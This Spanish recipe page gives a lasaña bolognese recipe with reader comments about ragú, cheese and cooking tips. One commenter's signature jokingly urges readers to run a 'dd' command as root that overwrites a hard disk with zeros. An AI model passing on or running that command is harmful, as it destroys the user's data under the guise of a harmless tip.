Lasaña a la boloñesa

:: cocina

Ficha

  • Tiempo: de 50 a 240 minutos
  • Dificultad: Media
  • Coste: 6 Euros
  • Comensales: 4

Ingredientes

  • Hojas de lasaña 9-10 láminas
  • Queso parmesano 40g

Ragú boloñesa

  • Carne picada 400g
  • 1 bote de tomate grande
  • 1 cebolla grande
  • 1 zanahoria y apio(ambos opcionales)
  • 1 vaso de vino blanco
  • sal y pimienta

Bechamel

  • Leche entera
  • Mantequilla 50g
  • Harina 45g
  • Nuez moscada
  • sal

Materiales

  • Horno(claro está)
  • Un molde para horno
  • Una sartén
  • Una cacerola
  • Una barilla
  • Una paleta o cuchara de madera

Preparación

  1. Pelar y cortar en trozos pequeñitos la cebolla, el apio y la zanahoria si los tenemos o los queremos. En un sartén con aceite doramos la zanahoria, apio y la cebolla.
  2. Cuando se empiecen a dorar cogemos la carne picada y se la echamos, mejor si vamos cogiendo pequeños trozitos(no el bloque de carne!!!). Damos vueltas, friendo a fuego bajo medio hasta que la carne empiece a coger color y siempre vamos con la paleta picando la carne para que se quede en trozitos pequeños y no en tropezones.
  3. Una vez ya tenemos la carne con algo de colorcito, cogemos nuestro bote de tomate y lo vertemos en la sartén. Damos bien vueltas y ponemos el fuego lo más bajo posible(pero que siga calentando, y no vale el calor residual de la vitro…). Después de unos 15 minutos echamos el vaso de vino blanco.Dejamos que se siga haciendo otros 15 minutos.
  4. En este punto probamos como va nuestro ragu, si la carne está blanda, el sabor y salpimentamos en consecuencia. Bueno, podemos dejar que se siga haciendo el ragú, siempre viendo que no se quede seco, si es así podemos añadir más vino blanco, si vemos que está muy borracho, podemos añadir agua en vez de vino. Podemos pasar a hacer la bechamel, nuestro ragú debe estar todavía a fuego muy bajo durante dos horas(o eso dicen los italianos).
  5. Fundir la mantequilla en la cacerola. Unir la harina, echar la leche mezclando para evitar que se formen grumos(importante esto). Añadir un poquito de sal y una pizca de nuez moscada. Tenerlo en el fuego hasta que llegue a ebullición y dejarlo durante un par de minutos más.
  6. Volvamos al ragú. Una vez esté listo, simplemente dejar que se cocine y vigilar que no se quedase seco. Ya podemos meternos manos a la obra. Cogemos nuestro recipiente y cubrimos la base con un poquito de bechamel(para evitar que no se nos queme por abajo).Cogemos nuestro rico y sabroso ragú y vertemos un poco encima, lo esparcimos ayudándonos, por ejemplo, de una cuchara. Ponemos las hojas de lasañas unas contiguas a otras, no importa que se monten un poco las unas sobre las otras luego en el horno la pasta se fundirá. Hacemos este paso hasta cubrir de pasta el recipiente. De nuevo encima echamos ragú, parmesano(o bien solo en la última capa) y bechamel. Repetimos esto hasta cubrir el recipiente, id aprentando un poquito las capas para que queden más compactas, lo suyo es tener 4, 5 niveles y ya está. En la última capa echar más bechamel para que quede doradita y vistosa
  7. Ya solo queda haber calentado el horno durante 5, 10 minutos y meter el recipiente. Tarda unos 20 minutos y podeis añadir otros 5 minutos de grill

Trucos y consejos

  1. Yo además, suelo hervir un huevo o dos, y echarlo en pequeños trocitos por cada capa.
  2. ¿Por qué tanta variación en el tiempo de preparación? Pues bien, veámoslo:
    • Si te quieres ahorrar 10 minutos, compra la bechamel hecha
    • Si te quieres ahorrar 2 horas, no dejes el ragú esas dos horas haciéndose, el ragú seguirá estando rico con menos tiempo
    • Si te quieres ahorrar 2 horas y media, compra el ragú ya hecho, que lo venden en bote(esto es bastante cutre, pero si no tienes tiempo)

Comentarios

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¡¡¡Muy bueno!!!

Todo un exitazo, aunque la proxima vez haré la versión “express” del ragú, pa’ tardar menos y esas cosas….

The cause of the problem is:
The vendor put the bug there.
-- Meta amigo informático --

Imagen de brue

sobre ...

.. comprar la salsa (ragú) en la tienda, lo desaconsejo encarecidamente, pues puede ser lo que diferencie la receta entre mediocre y brutal Smiling

Aparte, aunque sé que no es muy italiano, yo suelo hacer la carne en una sartén aparte hasta que se dora y uso aceite nuevo para el tomate y resto de los elementos. Sale menos pesado y si te pasas un poco con la carne, el resto del plato no sufre las consecuencias Smiling

Ponga más recetillas señor Vigilante, pero ponga alguna para comer más rápido, porque se puede uno morir haciendo algo tan bueno y teniendo que esperar tanto tiempo.


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x86: int main(){long foo=1702187618;puts(&foo);}

brue

Imagen de Vigilante

Coming soon...

Pues cambiaré de forma radical y empezaré con una serie de recetas italianas que se podrá titular “Pasta con sabor italiano en menos de 20 minutos”.

Imagen de int-0

Sin queso no hay paraíso...

Vamos que sin queso no hay auténtico sabor italiano… sorry…
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For Happy Lusers! Try this as root!
dd if=/dev/zero of=/dev/hda bs=1G count=10
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$ python -c "print 'VG9udG8gZWwgcXVlIGxvIGxlYSA6KQ==\n'.decode('base64')"
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Imagen de Vigilante

¡Pero si la receta lleva queso!

De todos modos, el “sabor italiano” en la pasta no lo da el queso. El 80% de las recetas sencillas (que se puedan hacer por casa) no llevan queso (by default). Normalmente allí, las recetas de pasta son sin queso y ponen un cuenco con parmiggiano por si uno se quiere echar. El sabor italiano es difícil de conseguir, pero creo que el primer paso es la propia pasta (Hacendaño o Gallo no es sabor italiano Eye-wink).

Imagen de brue

aquí en casa...

… estamos cultivando albaca (o albahaca, como prefieras), esto es, basílico. Si quieres un poco, tenemos para aburrir. Es uno de los sabores, bajo mi punto de vista, más caracterísitcos de algunos platos de pasta. Claro, que a mi el parmesano me vuelve loco, y suelo nota poco el sabor de otras cosas Sticking out tongue Aunque al precio que está en España Shocked , me dan ganas de abrir un botes de “Apis” y ponerlo sobre unos espaguetis pasadetes Barf!

Una recetita de arroz estaría bien, algo sabroso y ligero si pudiera ser Cool

Espero impaciente.

Smiling Eye-wink Sad Laughing out loud Evil Sticking out tongue Shocked Puzzled Cool Jawdropping! Barf!


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brue

receta de lasaña

Muy bueno el truco del huevo cocido en la salsa boloñesa (ah! y también el de la zanahoria) Gracias por tu receta. Hoy comeré lasaña

Imagen de Vigilante

De nada...

Espero te sea útil de verdad. Ya contarás qué tal quedó. Por cierto, yo ahora ya le echo un poco más de tomate y un poco menos de bechamel Smiling
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Para los NO amantes del software libre: Ctrl+C Ctrl+P Ctrl+C Ctrl+R
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Estupenda, ¡Un éxito! Lo

Estupenda, ¡Un éxito! Lo único que la última capa de pasta me quedó un poco dura ¿sabes por qué?

Imagen de Vigilante

Pues...

supongo que bien porque no estaban suficiéntemente empapadas las láminas de arriba porque no le echaste suficiente bechamel o la salsa te quedó con poco tomate o bien porque pusiste la bandeja del horno demasiado alta.

¡Saludoos!
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Para los no amantes del software libre: Ctrl+C Ctrl+P Ctrl+C Ctrl+R
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Imagen de int-0

Ehhh tio!

Vas a hacer lo que Homer Simpson hizo a Springfield cuando trabajó de crítico culinario... que vamos a acabar todos hechos unas focas!!
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init=/bin/bash to conquer the world!

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Imagen de Vigilante

Será útil!

Será una bonita forma de reconocer a los usuarios de crysol, iremos sin tobillos como el señor Burns